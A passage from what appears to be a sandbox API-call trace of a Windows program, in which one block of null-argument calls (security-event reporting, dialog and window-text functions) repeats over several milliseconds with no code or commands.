dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.673] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.673] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.673] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.673] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.674] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.674] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.674] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.674] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.674] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.674] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.674] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.674] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.674] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.674] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.674] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.675] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.675] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.675] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.675] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.675] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.675] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.675] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.675] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.675] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.675] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.675] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.675] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.675] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.675] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.675] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.675] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.675] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.675] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.675] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.675] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.675] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.675] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.675] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.676] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.676] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.676] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.676] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.676] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.676] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.676] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.676] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.676] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.676] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.676] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.677] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.677] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.677] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.677] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.677] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.677] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.677] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.677] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.677] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.677] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.677] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.677] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.677] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.677] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.677] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.677] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.677] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.677] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.677] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.677] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.677] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.677] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.677] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.677] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.678] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.678] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.678] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.678] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.678] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.678] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.678] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.678] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.678] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.678] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.678] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.678] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.678] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.678] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.678] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.678] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.678] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.679] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.679] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.679] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.679] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.679] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.679] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.679] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.679] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.679] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.679] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.679] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.679] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.679] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.679] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.679] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.679] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.679] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.679] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.679] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.679] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.680] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.680] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.680] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.680] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.680] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.680] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.680] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.680] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 